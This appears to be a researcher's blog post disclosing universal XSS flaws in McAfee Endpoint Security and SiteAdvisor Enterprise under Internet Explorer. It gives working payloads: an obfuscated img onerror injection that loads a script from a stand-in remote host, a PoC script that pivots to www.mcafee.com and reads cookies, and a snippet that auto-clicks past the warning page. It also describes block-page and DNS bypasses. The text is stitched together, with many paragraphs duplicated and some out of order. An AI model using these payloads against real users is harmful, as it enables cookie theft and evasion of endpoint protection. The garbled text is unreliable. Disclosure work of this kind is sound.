During the HITB2017AMS talk given in Amsterdam with @Steventseeley, I promised that I would have disclosed vulnerabilities affecting a security vendor product other than Trend Micro.
For those who have come to my blog for the first time and are looking at "insecurities" of security vendors, you might be interested as well on how we found 200+ remote code execution vulnerabilities in Trend Micro software...
But this blog post is dedicated to two McAfee products instead: McAfee Endpoint Security and SiteAdvisor Enterprise (now part of McAfee Endpoint Security). For simplicity, I will just refer to McAfee Endpoint Security for the rest of this post.
First let's demonstrate a particular type of XSS, a UXSS, considering that fact that it only affects the McAfee Endpoint Security plugin and does not depend on a particular web site or web application.
There are two different injection points:
- UXSS when user visits a red labelled web site - the payload is rendered in the BlockPage.html
- UXSS when a user is prompted with a warn page (Zero Day) Protection - the payload is rendered in the WarnPromptPage.html
1) UXSS – Block page
User is automatically redirected to the sacore:BlockPage.html page.
The universality of this type of XSS is given by the fact that any domain (red or unknown) can be used with an arbitrary XSS payload, and the site does not need to be vulnerable to XSS. The vulnerability affects the internal component of sacore: zone and therefore the native IE XSS Filter does not trigger, since the zone is considered more secure than "Internet" zone.
The following XSS payload will be enough to bypass/skip the warning:
function bypasswarn(){
if (window.location.pathname = "warnpromptpage.html") {
document.forms[1].submit()
}
}
What about also bypassing "block" pages?
For those who have come to my blog for the first time and are looking at "insecurities" of security vendors, you might be interested as well on how we found 200+ remote code execution vulnerabilities in Trend Micro software...
But this blog post is dedicated to two McAfee products instead: McAfee Endpoint Security and SiteAdvisor Enterprise (now part of McAfee Endpoint Security). For simplicity, I will just refer to McAfee Endpoint Security for the rest of this post.
First let's demonstrate a particular type of XSS, a UXSS, considering that fact that it only affects the McAfee Endpoint Security plugin and does not depend on a particular web site or web application.
There are two different injection points:
- UXSS when user visits a red labelled web site - the payload is rendered in the BlockPage.html
- UXSS when a user is prompted with a warn page (Zero Day) Protection - the payload is rendered in the WarnPromptPage.html
1) UXSS – Block page
When a red labelled site is requested by a browser, McAfee Endpoint will present a block page to the user, as shown below:
In case the user clicks or is forcibly redirected to an URL of a domain labelled as "red" and a XSS payload is added to the URL as:
http://red.cms.test-center.org/?id=xsspayloadhere
Then such XSS payload will be rendered within the sacore:BlockPage.html page, as shown below:
http://red.cms.test-center.org/?id=xsspayloadhere
Then such XSS payload will be rendered within the sacore:BlockPage.html page, as shown below:
http://red.test.csm-testcenter.org/?id=<img src=a onerror=alert(document.location)>
The universality of this type of XSS is given by the fact that any domain (red or unknown) can be used with an arbitrary XSS payload, and the site does not need to be vulnerable to XSS. The vulnerability affects the internal component of sacore: zone and therefore the native IE XSS Filter does not trigger, since the zone is considered more secure than "Internet" zone.
2) UXSS – Warning page
McAfee Site Endpoint provides a warning message in case a user requests a web page from an unknown domain or a domain which has not been “analysed” by McAfee yet. This occurs when in EPO (ePolicy Orchestrator) the Zero Day policy is set as “Warn” mode.
This warning page prompts the user to make a choice, whether to continue browsing to the site or cancel the navigation.
The standard screen shot can be seen below:
As in the previous case, a URL as below will lead to UXSS in the WarnPromptPage.html page:
http://mkasdhsa87283721ijikshdaisohdsauiyd.com/?q=<img src=a onerror=alert(document.location)>
Also in this case, the user is automatically redirected to the Zero day protection warning page:
Some readers might argue that only certain sites fall under "block" or "warn" category, and therefore this might not be considered a "full" UXSS. However, the attacker has the choice of the URL and if a block or warn site is chosen, the injection will always occur in the sacore: zone.
And now, let's dive in the part where we can reach a XSS condition into www.mcafee.com web site by chaining a further behavior in the extension and without bypassing the Same of Origin policy (SOP)!
And now, let's dive in the part where we can reach a XSS condition into www.mcafee.com web site by chaining a further behavior in the extension and without bypassing the Same of Origin policy (SOP)!
UXSS in www.mcafee.com case
The web site serves a page named BlockPageGC.html at the following URL: http:www.mcafee.com/SAE/BlockPageGC.html
This page is typically requested by McAfee Endpoint Security with a valid ID entry:
Example: http://www.mcafee.com/SAE/BlockPageGC.html?id=validID:here
The page contains the following source code:
<html xmlns="http://www.w3.org/1999/xhtml">
<!-----------------------------------------------------------------------------
* blockpage.html
* Copyright 2007, McAfee Inc. All Rights Reserved.
* kiykiogt
------------------------------------------------------------------------------>
[SNIP]
<td align="center">
<div id="header">
<div id="logoImage" style="display:none">x</div>
</div>
<div class="vspacing1"></div>
<div id="main" style="display:none;">
<div id="actionText"></div>
<div id="saDomainText" style="margin-bottom:14px;"></div>
<div id="actionDetailText" style="margin-bottom:14px;"></div>
<div id="actionDetailAltText" style="margin-bottom:14px;"></div>
<div id="dssContentText"></div>
<div id="dssSecurityText"></div>
<table style="padding-top:14px;text-align:center;" border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<td align="center">
[SNIP]
When McAfee Endpoint Security extension parses the <div> element with ID “saDomainText”, it will then fetch the ID from the internal SAEVisits.dat SQLite database and populate the <div> element content.
If the ID matches a stored XSS payload entry in the database, inserted by a malicious user as described above, then it is possible to render XSS payload within the www.mcafee.com web site as well.
If the ID matches a stored XSS payload entry in the database, inserted by a malicious user as described above, then it is possible to render XSS payload within the www.mcafee.com web site as well.
In the screen shot below, it is possible to see the injection in the DOM of the page on the www.mcafee.com web site. The injection is within <div> element with id “saDomainText”:
This attack can be reproduced as following:
Target user is redirected to a link such as:
http://yellow.test.csm-testcenter.org/?q3=<img src=b onerror='a=document.createElement(String.fromCharCode(115,99,114,105,112,116));a.setAttribute(String.fromCharCode(115,114,99),String.fromCharCode(104,116,116,112,115,58,47,47,119, 104,97,116,101,118,101,114,115,105,116,101,47,106, 46,106,115));document.body.appendChild(a)'>
Which simplified is:
<img src=b onerror='a=document.createElement("script");a.setAttribute("src","https://whateversite/j.js");document.body.appendChild(a)'>
This is a mandatory step, since a database entry needs to be created within the SAEVisits.dat, storing the XSS payload first. Once the entry is stored, then the XSS logic can follow. In this case, the malicious site hosts a j.js file (as example). An example of j.js file is below:
Which simplified is:
<img src=b onerror='a=document.createElement("script");a.setAttribute("src","https://whateversite/j.js");document.body.appendChild(a)'>
This is a mandatory step, since a database entry needs to be created within the SAEVisits.dat, storing the XSS payload first. Once the entry is stored, then the XSS logic can follow. In this case, the malicious site hosts a j.js file (as example). An example of j.js file is below:
function blockGC() {
if (window.location.pathname == "WarnPromptPage.html") {
alert("[+] Injecting into: "+window.location);
alert("[+] Dumping body.innerHTML: "+document.body.innerHTML)
window.location="http://www.mcafee.com/SAE/BlockPageGC.html?id="+window.location.href.substr(30,23)
}
if (window.location.hostname == "www.mcafee.com") {
alert("[+] Successful redirection, now injecting into: "+window.location+document.cookie);
}
}
blockGC()
The payload is a PoC (proof of concept) which first shows the injection within the warnpromptpage.html and then performs a redirection to the www.mcafee.com/SAE/BlockPageGC.html page, with a valid ID.
Then, the XSS is rendered within the www.mcafee.com web site. A video shows the full PoC in action:
Video Link
But the UXSS can be used in some many other ways - for instance, in the warning page case, it is possible to automatically "Continue" to the "potential" malicious site without letting the target user making the choice, hence bypassing the "prevention" control of McAfee Endpoint Security.The following XSS payload will be enough to bypass/skip the warning:
function bypasswarn(){
if (window.location.pathname = "warnpromptpage.html") {
document.forms[1].submit()
}
}
What about also bypassing "block" pages?
Technically speaking, there is no bypass because IE browser fetches the web page anyway before McAfee Endpoint Security shows a warning or a block page. The warning/block page is displayed to the user after a redirection into the sacore: zone (as we saw in the examples below). Since the redirection occurs very quickly, a normal user would not realize what is happening and has the look/feeling that McAfee is triggering the protection "before" the site is viewed.
However, as a proof of concept it is possible to prevent the redirection to the block or warning pages (served within the zone sacore://). This can be achieved using different means, like a JavaScript snippet that delays the redirection through a popup. By doing this, after a determined amount of time, the McAfee Endpoint Security warn/block page is not loaded (at least in Internet Explorer 11).
However, as a proof of concept it is possible to prevent the redirection to the block or warning pages (served within the zone sacore://). This can be achieved using different means, like a JavaScript snippet that delays the redirection through a popup. By doing this, after a determined amount of time, the McAfee Endpoint Security warn/block page is not loaded (at least in Internet Explorer 11).
Therefore, it is possible to fully navigate to a red (blocked) or (warned) site without triggering the Endpoint protection, allowing also other scenarios, like corporate users browsing forbidden sites by policies, etc.
In the example below, a red labelled site has a popup window via alert() when the page is loaded, preventing the browser to be redirected to the sacore:// McAfee Endpoint Security page:
The same attack has been carried out against the Warning page, as shown below:
By using this or similar technique, an attacker can serve a browser-based exploit and bypass McAfee Endpoint Security protection for both blocked sites and “zero-day” warning sites.
But it is not finished yet.... you would assume that some kind of DNS checking and resolving is performed?
From the behavior we saw before, the answer is no, since the web page is loaded by the browser first...so DNS resolution has already occurred.
McAfee Endpoint only performs a string comparison of the host, to provide extra features, such as search engine results protection and no DNS resolution or correlation is performed.
In a situation where the user has a DNS compromised or his/her connection is not secure and a MiTM attack is undergoing, it would be possible to fully bypass the protection offered by Endpoint Security.
In this case, the user has its DNS compromised and www.google.com resolves to a server controlled by a malicious user. Even though the request is performed over HTTP, McAfee does not check the authenticity of the site/domain.
Last but not least, McAfee Endpoint Security creates the “bullet” icon to categorise sites in search engine results. In a MiTM context, it is possible to bypass the check by changing HREF src value based on DOM events, such as onmouseover, as it can be seen below:
Source code:
Since the “wikipedia” site (https://en.wikipedia.org/) is a whitelisted address, the McAfee Secure bullet is added, however, when the onmouseover event is triggered, McAfee does not have a check to detect if the HREF value has dynamically changed, luring the user into clicking a "trusted" site.
After reporting all these issues to McAfee, McAfee produced a single CVE for the UXSS, as outlined here.
The vulnerable which should be now patched are: Endpoint Security 10.2 and SiteAdvisor Enterprise 3.5. These vulnerabilities were only confirmed when using IE11 (Edge mode) (IE 11.0.9600.18499).
The issues do not trigger when using Firefox or Chrome for example, on the same versions of McAfee Endpoint Security or SiteAdvisor Enterprise.
Interestingly enough, recently, there was a similar XSS condition in a different McAfee product which resulted in a similar impact:
https://blog.cybermtl.org/near-universal-xss-in-mcafee-web-gateway-cf8dfcbc8fc3
So I think I kept my promise that I did during HITB2017AMS!
For those of you have been reading up to here, thanks!
If you like my work/research, please follow me on Twitter - @malerisch
References:
Subverting Ajax: https://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf
Source code:
Since the “wikipedia” site (https://en.wikipedia.org/) is a whitelisted address, the McAfee Secure bullet is added, however, when the onmouseover event is triggered, McAfee does not have a check to detect if the HREF value has dynamically changed, luring the user into clicking a "trusted" site.
After reporting all these issues to McAfee, McAfee produced a single CVE for the UXSS, as outlined here.
The vulnerable which should be now patched are: Endpoint Security 10.2 and SiteAdvisor Enterprise 3.5. These vulnerabilities were only confirmed when using IE11 (Edge mode) (IE 11.0.9600.18499).
The issues do not trigger when using Firefox or Chrome for example, on the same versions of McAfee Endpoint Security or SiteAdvisor Enterprise.
Interestingly enough, recently, there was a similar XSS condition in a different McAfee product which resulted in a similar impact:
https://blog.cybermtl.org/near-universal-xss-in-mcafee-web-gateway-cf8dfcbc8fc3
So I think I kept my promise that I did during HITB2017AMS!
For those of you have been reading up to here, thanks!
If you like my work/research, please follow me on Twitter - @malerisch
References:
Subverting Ajax: https://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf
Comments
Post a Comment